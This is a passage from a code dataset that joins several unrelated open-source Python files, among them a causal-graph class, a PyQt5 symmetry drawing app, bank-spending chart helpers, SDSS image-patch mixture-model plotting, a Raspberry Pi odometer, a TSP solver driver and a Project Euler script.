else:\r\n keep=False\r\n for end in self.m_yese:\r\n if end.m_reState=='':\r\n keep=True\r\n elif self.m_yesAnd==True:\r\n if end.m_reState=='dark yellow':\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n else:\r\n if end.m_reState=='dark green':\r\n self.m_stage=4\r\n change=True\r\n break\r\n if keep==False and self.m_stage==3:\r\n if self.m_yesAnd:\r\n self.m_stage=4\r\n change=True\r\n else:\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n\r\n if self.m_stage==4:\r\n if (self.m_buildMode==True or self.isFunctionPoint()==1) and self.m_map!=None:\r\n list_new.append(self.m_map)\r\n self.m_stage=5\r\n if self.m_no==True:\r\n self.m_reState='dark yellow'\r\n change=True\r\n return [change,list_new]\r\n else:\r\n self.m_reState='dark green'\r\n change=True\r\n return [change,list_new]\r\n\r\n return [change,list_new]\r\n\r\n def areaType(self):\r\n aType=True\r\n cause=self\r\n while True:\r\n if cause.m_no==True:\r\n aType=not aType\r\n if cause.m_cause==None:\r\n return aType\r\n else:\r\n cause=cause.m_cause\r\n \r\n\r\n def build(self,code,points):\r\n wait_list=[]\r\n last=self\r\n connection=None\r\n exp='(->>|=>>|->|=>|{[ \\t\\n]*|[ \\t\\n]*}|,[ \\t\\n]*|;[ \\t\\n]*|:[ \\t\\n]*)'\r\n units=re.split(exp,code)\r\n for unit in units:\r\n if unit=='':\r\n continue\r\n elif unit=='->' or unit=='=>' or unit=='->>' or unit=='=>>':\r\n connection=unit\r\n elif unit[0]=='{':\r\n wait_list.append(['clause_splitting',last])\r\n elif unit[0]==':':\r\n wait_list.append(['end_splitting',last])\r\n elif unit[0]==',':\r\n last=wait_list[-1][1]\r\n elif unit[0]==';':\r\n if wait_list[-1][0]=='end_splitting':\r\n wait_list.pop()\r\n if wait_list!=[]:\r\n last=wait_list[-1][1]\r\n elif unit[-1]=='}':\r\n last=wait_list[-1][1]\r\n wait_list.pop()\r\n else:\r\n current=Karma(points[int(unit)])\r\n current.m_cause=last\r\n if connection=='->':\r\n current.m_no=False\r\n last.m_yese.append(current)\r\n elif connection=='->>':\r\n current.m_no=False\r\n last.m_noe.append(current)\r\n elif connection=='=>':\r\n current.m_no=True\r\n last.m_yese.append(current)\r\n elif connection=='=>>':\r\n current.m_no=True\r\n last.m_noe.append(current)\r\n else:\r\n last.m_clause.append(current)\r\n connection=''\r\n last=current\r\n print(wait_list)\r\n\r\n def info_cause(self):\r\n info=''\r\n karma=self\r\n while True:\r\n if karma.m_symbol!=None:\r\n info=karma.m_symbol.m_name+info\r\n if karma.m_cause==None:\r\n break\r\n if karma in karma.m_cause.m_yese:\r\n if karma.m_no==True:\r\n info='=>'+info\r\n else:\r\n info='->'+info\r\n elif karma in karma.m_cause.m_noe:\r\n if karma.m_no==True:\r\n info='=>>'+info\r\n else:\r\n info='->>'+info\r\n elif karma in karma.m_cause.m_clause:\r\n info='=='+info\r\n karma=karma.m_cause\r\n print(info)\r\n return info\r\n\r\n def allEffects(self):\r\n list_effects=[self]\r\n for karma in self.m_clause:\r\n list_effects+=karma.allEffects()\r\n for karma in self.m_noe:\r\n list_effects+=karma.allEffects()\r\n for karma in self.m_yese:\r\n list_effects+=karma.allEffects()\r\n # list_effects.append(self)\r\n return list_effects\r\n\r\n def setAllBuildMode(self,mode,list_km):\r\n self.m_buildMode=mode\r\n for point in self.m_symbol.m_con:\r\n for karma in list_km:\r\n if karma.m_symbol==point:\r\n karma.setAllBuildMode(mode,list_km)\r\n\r\n # one of causes provides map pool for this karma\r\n def setRangers(self,causes=None):\r\n connecting=None\r\n connected=None\r\n order=0\r\n if causes==None:\r\n causes=[]\r\n # elif self.m_buildMode!=True and self.m_symbol.m_name!='[]' and self.m_symbol.m_name!='[eq]' and self.m_symbol.m_name!='[同名]'\\\r\n # and self.m_symbol.m_name!='[is]' and self.m_symbol.m_name!='[是]':\r\n # word(,)\r\n elif self.m_buildMode!=True and self.isFunctionPoint()==0:\r\n for cause in causes:\r\n # [pt]->word\r\n if cause.isFunctionPoint()!=0:\r\n # [pt]->word([pt],)\r\n if self.m_symbol.m_db[0]==cause.m_symbol or self.m_symbol.m_db[1]==cause.m_symbol:\r\n connecting=cause\r\n connected=None\r\n break\r\n elif cause.m_buildMode==True and order<1:\r\n # +cause(,self)->self(,)\r\n if cause.m_symbol.m_db[0]==self.m_symbol or cause.m_symbol.m_db[1]==self.m_symbol:\r\n connected=cause\r\n order=1\r\n # +cause(,)->self(,cause)\r\n elif self.m_symbol.m_db[0]==cause.m_symbol or self.m_symbol.m_db[1]==cause.m_symbol:\r\n connecting=cause\r\n # cause->self\r\n elif order<2:\r\n if cause.m_symbol.m_db[0]==self.m_symbol or cause.m_symbol.m_db[1]==self.m_symbol:\r\n connected=cause\r\n order=2\r\n elif self.m_symbol.m_db[0]==cause.m_symbol or self.m_symbol.m_db[1]==cause.m_symbol:\r\n connecting=cause\r\n if connected!=None:\r\n self.m_ranger=connected\r\n elif connecting!=None:\r\n self.m_ranger=connecting\r\n self.m_rangType=True\r\n \r\n # set next one except for [eq], and buildMode==True\r\n # if self.m_buildMode!=True and self.m_symbol.m_name!='' and self.m_symbol.m_name!='[eq]' and self.m_symbol.m_name!='[同名]':\r\n # if self.isFunctionPoint()==0 and self.m_buildMode!=True:\r\n # if self.isFunctionPoint()==0: # a building point can be a ranger of an another point(Why?)(May because of new point can be a answer point)\r\n causes=causes[:]+[self]\r\n\r\n for con in self.m_clause:\r\n # for cause in causes:\r\n # cause.m_symbol.print()\r\n con.setRangers(causes)\r\n for end in self.m_yese:\r\n end.setRangers(causes)\r\n for end in self.m_noe:\r\n end.setRangers(causes)\r\n\r\n def info_karma(self,info='',head=0):\r\n if self.m_ranger!=None:\r\n ranger=self.m_ranger.m_symbol.info(1)\r\n info+='['+ranger+']'\r\n head+=len(ranger)+2\r\n if self.m_buildMode==True:\r\n info+='+'\r\n head+=1\r\n \r\n info+=self.m_symbol.info(1)\r\n head+=len(self.m_symbol.info(1))\r\n\r\n if self.m_clause!=[]:\r\n info+='{'\r\n head+=1\r\n for clause in self.m_clause:\r\n info+='\\n'+''.rjust(head)\r\n info=clause.info_karma(info,head)\r\n info+='\\n'+'}'.rjust(head-1)\r\n n=0\r\n for end in self.m_yese:\r\n if n==0:\r\n if end.m_no==False:\r\n info+='->'\r\n else:\r\n info+='=>'\r\n info=end.info_karma(info,head+2)\r\n n+=1\r\n else:\r\n if end.m_no==False:\r\n info+='\\n'+'->'.rjust(head+2)\r\n else:\r\n info+='\\n'+'=>'.rjust(head+2)\r\n info=end.info_karma(info,head)\r\n for end in self.m_noe:\r\n if n==0:\r\n if end.m_no==False:\r\n info+='->>'\r\n else:\r\n info+='=>>'\r\n info=end.info_karma(info,head+3)\r\n n+=1\r\n else:\r\n if end.m_no==False:\r\n info+='\\n'+'->>'.rjust(head+3)\r\n else:\r\n info+='\\n'+'=>>'.rjust(head+3)\r\n info=end.info_karma(info,head)\r\n\r\n return info\r\n \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\nif __name__=='__main__':\r\n points=[NetP('0'),NetP('1'),NetP('2'),NetP('3'),NetP('4'),NetP('5'),NetP('6'),NetP('7'),NetP('8'),NetP('9')]\r\n test=Karma(NetP('[self]'))\r\n \r\n f=open('test\\\\test.txt')\r\n code=f.read()\r\n test.build(code,points)\r\n points[9].m_master.info_cause()\r\n list_effect=test.allEffects()\r\n print(test.info_karma())","repo_name":"XiantaoCheng/Structure","sub_path":"body/soul.py","file_name":"soul.py","file_ext":"py","file_size_in_byte":33073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"7928708704","text":"from PyQt5 import QtWidgets as qw\nfrom PyQt5 import QtCore as qc\nfrom PyQt5 import QtGui as qg\nfrom Point3D import Point3D\n\n\nclass Pane(qw.QLabel):\n def __init__(self, parent):\n super().__init__()\n self.parent = parent\n self.color = qc.Qt.white\n self.thickness = 3\n self.grid = False\n self.k = 24\n # default value is false - means track mouse only when at least one button is pressed\n print(parent.parent)\n print(self)\n print(self.width(), self.height())\n print(parent.parent)\n print(parent.width(), parent.height())\n self.ebene_background = qg.QPixmap(parent.parent.width(), parent.parent.height())\n self.ebene_background.fill(qg.QColor(0, 0, 0))\n\n self.ebene_pane = qg.QPixmap(parent.parent.width(), parent.parent.height())\n self.ebene_pane.fill(qg.QColor(0, 0, 0, 0))\n\n self.ebene_total = qg.QPixmap(parent.parent.width(), parent.parent.height())\n self.ebene_total.fill(qg.QColor(0, 0, 0, 0))\n\n\n self.painter_bg = qg.QPainter(self.ebene_background)\n self.painter_pane = qg.QPainter(self.ebene_pane)\n self.painter_total = qg.QPainter(self.ebene_total)\n\n self.paths = []\n self.path = []\n for i in range(self.k):\n self.paths.append([])\n self.path.append([])\n\n #self.create_bg()\n\n self.update()\n\n def __repr__(self):\n return str(\"Pane\")\n\n def create_bg(self):\n #print(self.parent)\n center_x = self.parent.width()//2\n center_y = (self.parent.height()-30)//2\n #print(center_x,center_y)\n\n\n self.painter_bg.setPen(qg.QPen(qc.Qt.white, 0.5, qc.Qt.SolidLine))\n #self.painter_bg.drawLine(0, 0, 100, 100)\n center = Point3D(center_x, center_y, 0)\n a = Point3D(center_x, center_y - 2000, 0)\n for k in range(1,self.k+1):\n degree = k*360/self.k\n point = a.make_vector(center)\n b = point.rotateZ(degree) + center\n if self.grid:\n self.painter_bg.drawLine(center.x, center.y, b.x, b.y)\n\n if self.grid:\n self.painter_bg.drawPoint(center_x,center_y)\n\n def transpose(self,x,y,k):\n center_x = self.parent.width() // 2\n center_y = (self.parent.height() - 30) // 2\n self.painter_bg.setPen(qg.QPen(qc.Qt.white, 0.5, qc.Qt.SolidLine))\n\n center = Point3D(center_x, center_y, 0)\n a = Point3D(x, y, 0)\n degree = k * 360 / self.k\n point = a.make_vector(center)\n if self.k%2 == 0:\n b = point.rotateZ(degree) + center\n else:\n b = - point.rotateZ(degree) + center\n c = Point3D(b.x,b.y,b.z)\n return c\n\n def update(self):\n for i in range(self.k):\n if len(self.paths) == 0:\n return\n if len(self.paths[i]) != 0:\n path = self.paths[i][-1][0]\n thickness = self.paths[i][-1][1]\n self.painter_pane.setPen(qg.QPen(self.color, thickness, qc.Qt.SolidLine))\n self.painter_pane.drawPath(path)\n\n \"\"\"if len(self.paths2) != 0:\n path = self.paths2[-1][0]\n thickness = self.paths2[-1][1]\n self.painter_pane.setPen(qg.QPen(qc.Qt.gray, thickness, qc.Qt.SolidLine))\n self.painter_pane.drawPath(path)\"\"\"\n\n '''for i in range(len(self.paths)):\n path = self.paths[i][0]\n thickness = self.paths[i][1]\n self.painter_pane.setPen(qg.QPen(qc.Qt.gray, thickness, qc.Qt.SolidLine))\n self.painter_pane.drawPath(path)'''\n\n self.painter_total.drawPixmap(0, 0, self.ebene_background)\n self.painter_total.drawPixmap(0, 0, self.ebene_pane)\n self.setPixmap(self.ebene_total)\n\n def mousePressEvent(self, event):\n x = event.pos().x()\n y = event.pos().y() + 30\n for i in range(self.k):\n self.path[i] = qg.QPainterPath()\n #self.path2 = qg.QPainterPath()\n\n self.paths[i].append([self.path[i], self.thickness])\n #self.paths2.append([self.path2, self.thickness])\n\n #self.path[i].moveTo(x, y)\n #print(\"original: \",x,y)\n b = self.transpose(x,y,i)\n #print(\"b: \", b.x, b.y)\n\n self.path[i].moveTo(b.x, b.y)\n\n self.update()\n\n def mouseMoveEvent(self, event):\n x = event.pos().x()\n y = event.pos().y() + 30\n for i in range(self.k):\n #self.path[i].lineTo(x,y)\n b = self.transpose(x, y, i)\n self.path[i].lineTo(b.x, b.y)\n #self.newPoint.emit(event.pos())\n self.update()\n\n\nclass DrawWidget(qw.QWidget):\n def __init__(self,parent):\n qw.QWidget.__init__(self, parent)\n self.parent = parent\n self.setLayout(qw.QVBoxLayout())\n self.layout().setSpacing(0)\n\n self.draw = Pane(self)\n #label = qw.QLabel(self)\n #label.setFixedHeight(25)\n\n hbox = qw.QHBoxLayout()\n #hbox.maximumSize(25)\n gr1 = qw.QButtonGroup()\n b_thickness1 = qw.QRadioButton(\"1\")\n b_thickness1.toggled.connect(lambda: self.btnstate(b_thickness1))\n b_thickness2 = qw.QRadioButton(\"3\")\n b_thickness2.toggled.connect(lambda: self.btnstate(b_thickness2))\n b_thickness3 = qw.QRadioButton(\"5\")\n b_thickness3.toggled.connect(lambda: self.btnstate(b_thickness3))\n b_newgame = qw.QPushButton(\"Erase\")\n b_newgame.setFixedSize(qc.QSize(60,27))\n #b_newgame.setStyleSheet(\"size: 15 x 2\")\n b_newgame.clicked.connect(self.on_click_b_newgame)\n gr1.addButton(b_thickness1)\n gr1.addButton(b_thickness2)\n gr1.addButton(b_thickness3)\n\n hbox.addWidget(b_thickness1)\n hbox.addWidget(b_thickness2)\n hbox.addWidget(b_thickness3)\n\n self.grid = qw.QCheckBox(\"Grid\")\n self.grid.clicked.connect(self.on_click_grid)\n print(self.grid.isChecked())\n\n hbox.addWidget(self.grid)\n hbox.addWidget(b_newgame)\n\n\n b_thickness2.setChecked(True)\n\n colorBox = qw.QComboBox(self)\n colorBox.addItem(\"white\")\n colorBox.addItem(\"red\")\n colorBox.addItem(\"green\")\n colorBox.addItem(\"blue\")\n colorBox.addItem(\"cyan\")\n colorBox.addItem(\"yellow\")\n colorBox.activated[str].connect(self.style_choise)\n\n kBox = qw.QComboBox(self)\n kBox.addItem(\"1\")\n kBox.addItem(\"7\")\n kBox.addItem(\"8\")\n kBox.addItem(\"17\")\n kBox.addItem(\"18\")\n kBox.addItem(\"24\")\n kBox.activated[str].connect(self.k_choise)\n kBox.setCurrentText(\"24\")\n\n hbox.addWidget(colorBox)\n hbox.addWidget(kBox)\n hbox.addStretch(1)\n\n self.layout().addLayout(hbox)\n\n #label.setStyleSheet(\"QLabel { background-color : rgb(150,150,150); color : blue; }\")\n #draw.newPoint.connect(lambda p: label.setText('Coordinates (%d, %d)' %(p.x(),p.y())))\n self.layout().addWidget(self.draw)\n\n def __repr__(self):\n return str(\"DrawWidget\")\n\n def style_choise(self,text):\n if text == \"red\":\n self.draw.color = qc.Qt.red\n elif text == \"white\":\n self.draw.color = qc.Qt.white\n elif text == \"green\":\n self.draw.color = qc.Qt.green\n elif text == \"blue\":\n self.draw.color = qc.Qt.blue\n elif text == \"cyan\":\n self.draw.color = qc.Qt.cyan\n elif text == \"yellow\":\n self.draw.color = qc.Qt.yellow\n\n def k_choise(self, text):\n if text == \"1\":\n self.draw.k = 1\n elif text == \"7\":\n self.draw.k = 7\n elif text == \"8\":\n self.draw.k = 8\n elif text == \"17\":\n self.draw.k = 17\n elif text == \"18\":\n self.draw.k = 18\n elif text == \"24\":\n self.draw.k = 24\n\n def on_click_grid(self):\n self.draw.grid = self.grid.isChecked()\n self.draw.ebene_background.fill(qg.QColor(0, 0, 0))\n self.draw.create_bg()\n self.draw.update()\n\n\n def on_click_b_newgame(self):\n self.draw.ebene_pane.fill(qg.QColor(0, 0, 0, 0))\n self.draw.ebene_background.fill(qg.QColor(0, 0, 0))\n\n self.draw.paths = []\n #self.draw.paths2 = []\n\n self.draw.path = []\n #self.draw.path2 = qg.QPainterPath()\n for i in range(self.draw.k):\n self.draw.paths.append([])\n self.draw.path.append([])\n\n self.draw.create_bg()\n self.draw.update()\n\n def btnstate(self, b):\n self.draw.thickness = int(b.text())","repo_name":"Elki007/MMaR","sub_path":"Project2_04_Symmetrien/Draw2.py","file_name":"Draw2.py","file_ext":"py","file_size_in_byte":8642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4477578668","text":"def get_highest_spend_category_per_period(data):\n highest_spend_category_per_period_labels = []\n highest_spend_category_per_period_data = []\n\n for item in data:\n highest_spend_category_per_period_labels.append(str(item[2] + \" - \" + str(item[1])\n .capitalize().replace(\"_\", \" \")))\n highest_spend_category_per_period_data.append(str(item[0]))\n\n return[highest_spend_category_per_period_labels, highest_spend_category_per_period_data]\n\n\ndef get_net_spends(data):\n net_spend_labels = []\n net_spend_data = []\n\n for item in data:\n net_spend_labels.append(item[\"period\"])\n net_spend_data.append(item[\"net_spend\"])\n\n return [net_spend_labels, net_spend_data]\n\n\ndef get_balance(data):\n return \"£\" + str(int(data[\"clearedBalance\"][\"minorUnits\"])/100)\n\n\ndef get_spend_by_category_this_month(data):\n spend_by_category_this_month_labels = []\n spend_by_category_this_month_data = []\n\n for item in data:\n spend_by_category_this_month_labels.append(item[1].replace(\"_\", \" \").capitalize())\n spend_by_category_this_month_data.append(item[0])\n\n return [spend_by_category_this_month_labels, spend_by_category_this_month_data]\n\n\ndef get_spend_per_party_this_month(data):\n spend_per_party_this_month_labels = []\n spend_per_party_this_month_data = []\n\n for item in data:\n spend_per_party_this_month_labels.append(item[\"counterPartyName\"])\n spend_per_party_this_month_data.append(item[\"netSpend\"])\n\n return [spend_per_party_this_month_labels, spend_per_party_this_month_data]","repo_name":"Leolebleis/starling-insights-script","sub_path":"gmail/data_dispenser.py","file_name":"data_dispenser.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32812814634","text":"import sdss\nimport mog\nimport time\n\nimport numpy as np\nimport matplotlib.pyplot as pl\nimport pyfits as pf\n\nfrom numpy.linalg import svd\nfrom matplotlib.colors import LogNorm\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom numpy.lib.stride_tricks import as_strided as ast\n\nfrom matplotlib import rc\nrc('font',**{'family':'serif','serif':'Computer Modern Roman','size':10})\nrc('text', usetex=True)\n\n\ndef fig_eigen(mix,kmeans,filename):\n \"\"\"\n Plot mean and eigenvector patches for each\n component of MOG, out to single PDF\n \"\"\"\n if filename[-4:]!='.pdf' : filename += '.pdf'\n pp = PdfPages(filename)\n\n pshape = (np.sqrt(len(mix.means[0].ravel())),\n np.sqrt(len(mix.means[0].ravel())))\n L = pshape[0]\n factor = 2.0 # size of one side of one panel\n lbdim = 0.5 * factor # size of left/bottom margin\n trdim = 0.5 * factor # size of top/right margin\n whspace = 0.05 # w/hspace size\n plotdim = factor * L + factor * (L - 1.) * whspace\n dim = lbdim + plotdim + trdim\n lb = lbdim / dim\n tr = (lbdim + plotdim) / dim\n pl.gray()\n\n for k in range(mix.means.shape[0]):\n fig = pl.figure(figsize=(dim, dim + L))\n fig.subplots_adjust(left=lb, bottom=lb, right=tr, top=tr,\n wspace=whspace, hspace=whspace)\n\n # write mean patches\n mpatch = mix.means[k].reshape(pshape)\n kmpatch = kmeans[k,:].reshape(pshape)\n ax = fig.add_subplot(L+1,L,L)\n ax.imshow(kmpatch,origin='lower',interpolation='nearest')\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n ax.text(0.5,1.1,'Initial Mean',\n transform=ax.transAxes,ha='center',va='center')\n ax = fig.add_subplot(L+1,L,1)\n ax.imshow(mpatch,origin='lower',interpolation='nearest')\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n ax.text(0.5,1.1,'Final Mean',\n transform=ax.transAxes,ha='center',va='center')\n\n\n # write some info\n ax = fig.add_subplot(L+1,L,3)\n ax.set_axis_off()\n ax.text(0.0,0.5,'Component = %d' % k,\n transform=ax.transAxes,ha='left',va='center',\n fontsize=20)\n ax = fig.add_subplot(L+1,L,6)\n ax.set_axis_off()\n ax.text(0.0,0.5,'Amp = %1.2e' % mix.amps[k],\n transform=ax.transAxes,ha='left',va='center',\n fontsize=20)\n \n u,s,v = svd(mix.cov[k])\n\n # write eigenvector patches\n for ii in range(pshape[0]**2):\n ax = fig.add_subplot(L+1,L,L+ii+1)\n ax.imshow(u[ii,:].reshape(pshape),origin='lower',interpolation='nearest')\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n ax.text(0.5,1.1,'Eigval = %1.3e' % s[ii],\n transform=ax.transAxes,ha='center',va='center')\n pp.savefig()\n\n pp.close()\n\n\ndef fig_patches(mix,patches,filename):\n \"\"\"\n Plot patches. For each patch, report likelihood,\n posterior under best component, and total likelihood\n under model.\n \"\"\"\n if type(patches)!=int:\n Npatches = np.sqrt(len(patches[0,:]))\n inds = np.random.randint(0,len(patches[:,0]),64)\n else:\n Npatches = patches\n\n pshape = (np.sqrt(len(mix.means[0].ravel())),\n np.sqrt(len(mix.means[0].ravel())))\n factor = 2.0 # size of one side of one panel\n lbdim = 0.5 * factor # size of left/bottom margin\n trdim = 0.5 * factor # size of top/right margin\n wspace = 0.05 # wspace size\n hspace = 0.1 # hspace size\n wdim = factor * Npatches + factor * (Npatches - 1.) * wspace + lbdim + trdim\n hdim = factor * Npatches + factor * (Npatches - 1.) * hspace + lbdim + trdim\n fig = pl.figure(figsize=(wdim, hdim))\n fig.subplots_adjust(left=lbdim/wdim, bottom=lbdim/hdim,\n right=(wdim-trdim)/wdim,\n top=(hdim-trdim)/hdim,\n wspace=wspace, hspace=hspace)\n pl.gray()\n\n mix.means = mix.means.T\n Nk = len(mix.means[0,:])\n\n for ii in range(Npatches**2):\n if type(patches)==int:\n t = [np.random.multivariate_normal(mix.means[:,k].ravel(),mix.cov[k]) \\\n * mix.amps[k] for k in range(Nk)]\n t = np.array(t)\n patch = t.sum(axis=0)\n\n else:\n patch = patches[inds[ii],:]\n\n logL, rs = mix._calc_prob(np.array([patch]))\n loglikes = [mix._log_multi_gauss(k,np.array([patch])) for k in range(Nk)]\n loglikes = np.array(loglikes).flatten()\n bestlike = np.argsort(loglikes)\n \n ax = fig.add_subplot(Npatches,Npatches,ii+1)\n ax.imshow(patch.reshape(pshape),origin='lower',interpolation='nearest')\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n ax.text(0.0,1.05,'$\\ln(p(D))$ = %1.1e' % (logL),\n transform=ax.transAxes,ha='left',va='center')\n ax.text(0.0,1.15,'$\\ln(p(D|k=%d))$ = %1.1e' % (bestlike[-1],loglikes[bestlike[-1]]),\n transform=ax.transAxes,ha='left',va='center')\n\n if filename[-4:]!='.pdf' : filename += '.pdf'\n fig.savefig(filename,format='pdf')\n\n\ndef make_patch_examples(run,camcol,field,outname):\n\n # get data using tractor call\n data,invvar = get_sdss_data(run,camcol,field)\n\n # create array of patches\n dpatch = patchify(data,step=(2,2))\n ipatch = patchify(invvar,step=(2,2))\n\n # calc variance in data and min in invvar\n var = dpatch.std(axis=1)\n loi = ipatch.min(axis=1)\n\n # throw out invvar = 0\n ind = loi > 0\n dpatch = dpatch[ind]\n var = var[ind]\n\n # draw 1% from a uniform dist over variance\n # fix this slow bit!!\n val = np.random.rand(0.01 * len(dpatch[:,0])) * \\\n (np.max(var)-np.min(var)) + np.min(var)\n ind = np.array([],dtype='int')\n for v in val:\n ind = np.append(ind,(np.abs(var-v).argmin()))\n\n # write it to file\n hdu = pf.PrimaryHDU(dpatch[ind])\n hdu.writeto(outname)\n \n\ndef patchify(A, step=(1,1), block= (8, 8)):\n \"\"\"Make a Ndata by (flattened) patch, 2D array\"\"\"\n shape = ((A.shape[0] - block[0])/step[0] + 1,\n (A.shape[1] - block[1])/step[1] + 1) + block\n strides = (A.strides[0]*step[0],A.strides[1]*step[1]) + A.strides\n blocks = ast(A, shape= shape, strides= strides)\n blocks = blocks.flatten()\n shape = (shape[0]*shape[1],block[0]*block[1])\n strides = (blocks.itemsize*block[0]*block[1],blocks.itemsize)\n return ast(blocks, shape= shape, strides= strides)\n\n\ndef get_sdss_data(run,camcol,field):\n \"\"\"Call Tractor functions to get data, invvar images\n of a given SDSS field\"\"\"\n d = sdss.get_tractor_image_dr9(run,camcol,field,'r',psf='dg')\n d = d[0]\n return d.data,d.invvar\n\n\n\n\n","repo_name":"rossfadely/sdss-mixtures","sub_path":"code/sdss_mog.py","file_name":"sdss_mog.py","file_ext":"py","file_size_in_byte":6788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15529260748","text":"import apigpio\nimport asyncio\nimport os\nimport sys\n\nsys.path.append(f'{os.path.dirname(os.path.realpath(__file__))}/../')\n\nfrom odom.encoder import Encoder\nfrom odom.model import OdometerData\nfrom config import ENCODERS, PIGPIO\n\n\nclass Odometer:\n def __init__(self, left, right):\n self.l = left\n self.r = right\n\n def get_raw_counts(self):\n return OdometerData(self.l.count, self.r.count)\n\n def reset(self):\n self.r.reset()\n self.l.reset()\n\n @classmethod\n async def create(cls, loop):\n pi = apigpio.Pi(loop)\n print('connecting..')\n await pi.connect((PIGPIO['HOST'], PIGPIO['PORT']))\n print('pigpio connected')\n right_enc = await Encoder.create(pi, ENCODERS['RIGHT'])\n left_enc = await Encoder.create(pi, ENCODERS['LEFT'])\n return cls(left_enc, right_enc)\n\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n od = loop.run_until_complete(Odometer.create(loop))\n\n loop.run_forever()\n","repo_name":"slomkarafa/rpi-tracker","sub_path":"odom/odometer.py","file_name":"odometer.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"28556346930","text":"import sys\nimport os\nimport time\n\nfrom util import get_output_filename, read_data, build_matrix, write_sol\nfrom branch_and_bound import bnb_min_two_edges\nfrom nearest_neighbor import nearest_neighbor\nfrom LS1 import LS1\nfrom LS2 import LS2\n\n\nif __name__ == \"__main__\":\n\targs = sys.argv\n\tif len(args) < 4:\n\t\tsys.exit(\"Usage: {} -inst -alg -time -seed \".format(args[0]))\n\tseed = None\n\tfor i in range(len(args)-1):\n\t\tif args[i]=='-inst':\n\t\t\tinput_filename = args[i+1]\n\t\telif args[i]=='-alg':\n\t\t\talg = args[i+1]\n\t\telif args[i]=='-time':\n\t\t\tcut_time = args[i+1]\n\t\telif args[i]=='-seed':\n\t\t\tseed = int(args[i+1])\n\n\tif alg not in (\"BnB\", \"Approx\", \"LS1\", \"LS2\"):\n\t\tsys.exit(\"No such algorithm\")\n\n\tif alg in (\"LS1\", \"LS2\") and seed is None:\n\t\tsys.exit(\"Input a random seed for Local Search algorithms\")\n\n\tif not os.path.isdir(\"./output\"):\n\t\tos.makedirs(\"output\")\n\tlocation = input_filename.split('/')[-1].split('.')[0]\n\toutput_filename = get_output_filename(location, alg, cut_time, seed)\n\n\tcut_time = float(cut_time)\n\tstart_time = time.time()\n\n\tx_vals, y_vals = read_data(input_filename)\n\tdistance_matrix = build_matrix(x_vals, y_vals)\n\n\toptimal_solutions = {\n\t\t'Cincinnati':277952,\n\t\t'UKansasState':62962,\n\t\t'Atlanta':2003763,\n\t\t'Philadelphia':1395981,\n\t\t'Boston':893536,\n\t\t'Berlin':7542,\n\t\t'Champaign':52643,\n\t\t'NYC':1555060,\n\t\t'Denver':100431,\n\t\t'SanFrancisco':810196,\n\t\t'UMissouri':132709,\n\t\t'Toronto':1176151,\n\t\t'Roanoke':655454\n\t}\n\n\tif alg == \"BnB\":\n\t\truntime, best_cost, best_tour = bnb_min_two_edges(distance_matrix, output_filename, start_time, cut_time)\n\telif alg == \"Approx\":\n\t\truntime, best_cost, best_tour = nearest_neighbor(distance_matrix, output_filename, start_time, cut_time)\n\telif alg == \"LS1\":\n\t\tbest_cost, best_tour = LS1(distance_matrix, output_filename, start_time, cut_time, seed)\n\telif alg == \"LS2\":\n\t\tbest_cost, best_tour = LS2(distance_matrix, output_filename, start_time, int(cut_time), int(seed))\n\trel_err = round(1.0 * (best_cost - optimal_solutions[location]) / optimal_solutions[location], 4)\n\tprint(location,alg,best_cost,rel_err)\n\n\twrite_sol(output_filename, best_cost, best_tour)\n","repo_name":"carterprice2/Algorithms_final_project","sub_path":"tsp_main.py","file_name":"tsp_main.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"22015916079","text":"#Problem87\n\nimport Problem46 as prime\n\nprimes = prime.prime_list(7100)\nprimes2 = prime.prime_list(370)\nprimes3 = prime.prime_list(86)\nprint(len(primes) * len(primes2) * len(primes3))\n\n\"\"\"\n a < 7072\n b < 369\n c < 85\n\"\"\"\n\ndef prime_triple(a, b, c):\n return a**2 + b**3 + c**4\n\ndef elim_repeats(l):\n l.sort()\n for i in range(0, len(l)):\n if l[i+1] == l[i]:\n l.remove(l[i])\n return l\n\n\nm = []\n\nfor i in primes:\n for j in primes2:\n for k in primes3:\n if prime_triple(i, j, k) < 5*10**7 and prime_triple(i, j, k) not in m:\n m.append(prime_triple(i, j, k))\n \n\n\nprint(len(m))\nprint(len(elim_repeats(m)))\n\n\n","repo_name":"KevinGoldberg/ProjectEulerScripts","sub_path":"Problem87.py","file_name":"Problem87.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"25611921433","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport codecs\nimport re\nimport sys\n\nimport os\nfrom setuptools import setup, find_packages\n\n\nif sys.version_info < (3, 5, 0):\n raise RuntimeError(\"tle-storage-service requires Python 3.5.0+\")\n\n\nPROJECT_DIR = os.path.abspath(os.path.dirname(__file__))\nVERSION_REGEXP = re.compile(r\"^__version__ = [\\'\\\"](.+?)[\\'\\\"]$\", re.MULTILINE)\n\n\ndef read(fn):\n with codecs.open(os.path.join(PROJECT_DIR, fn), encoding='utf-8') as f:\n return f.read().strip()\n\n\ndef version():\n try:\n return VERSION_REGEXP.findall(read(os.path.join('tle_storage_service', '__init__.py')))[0]\n except IndexError:\n raise RuntimeError('Unable to determine version.')\n\n\nvn = version()\nurl = 'https://github.com/nkoshell/tle-storage-service'\n\nsetup(\n name='tle-storage-service',\n 